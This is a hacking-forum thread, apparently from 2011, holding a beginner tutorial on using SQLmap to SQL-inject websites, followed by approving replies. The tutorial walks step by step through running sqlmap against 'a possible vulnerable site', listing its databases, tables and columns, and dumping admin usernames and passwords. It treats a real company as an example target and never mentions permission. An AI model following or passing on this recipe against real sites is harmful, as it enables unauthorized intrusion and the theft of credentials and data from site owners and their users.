Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT]How to SQL Inject with SQLmap [TUT]

Hey guys,

So today I will be teaching you guys on how to SQL inject via SQLmap. This is also my first tutorial so it may not be the best.

--

Alright, so lets begin learning.

I recommend you use this on a Linux distro because I'm not quite sure whether or not this works on Windows. Personally, I'm on Ubuntu.

Alright, so now you obviously need SQLmap which can be downloaded from here

You also need python installed which you can get by doing
Code
sudo apt-get install python

After you've downloaded it, go to the directory where it's saved.
In my case:
Code
cd Downloads/sqlmap


Once you're in that directory, we must find a possible vulnerable site.
Now that you have one, we are going to test it with the following code:
Code
python sqlmap.py -u TARGETSITE
Change "TARGETSITE" to the URL of your site.

After you find out it's vulnerable, do:
Code
python sqlmap.py -u TARGETSITE --dbs

This will display all the database names. You'll see "information_schema" among the database names; just ignore that and choose another one. The database name is usually in reference or has similar wording as the site. For example, if I was attacking Pizzahut, a possible database name could be pizzahut_pizzahut.

Now once you've found the database name, you'd need to view the tables, so do:
Code
python sqlmap.py -u TARGETSITE -D site_db --tables

This will display all the tables of the database. Now your job is to figure out which contains the information you want, such as the admin pass/user.

So once you've found the tables, for example, containing the Admin information, do:
Code
python sqlmap.py -u TARGETSITE -D database_name -T admintable --columns

With that, you've received all the columns. Now you want to see the information in that column, so type in:

Code
python sqlmap.py -u TARGETSITE -D database_name -T admintable -C  columnname --dump

And there we have it, we have gotten all the info 🤗

Please comment or PM me if you have questions. I'd be happy to assist you.
[Image: npafFhp.gif]
Pretty good tutorial man. Sure it will help many.
This is a pretty good tut, I agree with Curt. Though it would be a lot better if you provided Screen shots.
(Sep 18, 2011 05:00 PM)Cannabinoids Wrote:  This is a pretty good tut, I agree with Curt. Though it would be a lot better if you provided Screen shots.

Alright, thanks for the advise. I'd be sure to take it on any future tutorials.
[Image: npafFhp.gif]
DO NOT ask for + rep.

its a good tut otherwise.
The Risks Of Hacking
If you need help feel free to contact me
That is a well written tutorial you have created there. Good job.
(Sep 18, 2011 05:02 PM)Glassy Wrote:  That is a well written tutorial you have created there. Good job.

Thanks! Just wanting to contribute a little here :3
[Image: npafFhp.gif]
Excellent tutorial, the best one I've seen so far.
@RubksHQ, if you go with some screenshots , it help nderstad better , though the tutorial is compact and precise for a beginner itself
https://hackforums.net/showthread.php?tid=1758457 Yesterday i make a Tut Like that :P
Thank you,just what i wanted :) keep it up
this was very very very very helpfullll
Very nice tutorial. Easy to Follow. Thank you
a slight correction rubiks , in the last command , its like columns --dump and not column--dump

:P
thanks for this share , nice tutorial. good job

thanks for this share. excellent tuto. nice job


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Nightmare _1Sep 18, 2023 11:53 AM 2 246 Sep 18, 2023 11:53 AM
Last Post: HussaRPL0029
by The Amazing SinnerAug 24, 2020 11:04 PM 0 243 Aug 24, 2020 11:04 PM
Last Post: The Amazing Sinner
by ReverseZMay 8, 2020 04:07 AM 1 148 May 8, 2020 04:07 AM
Last Post: 4751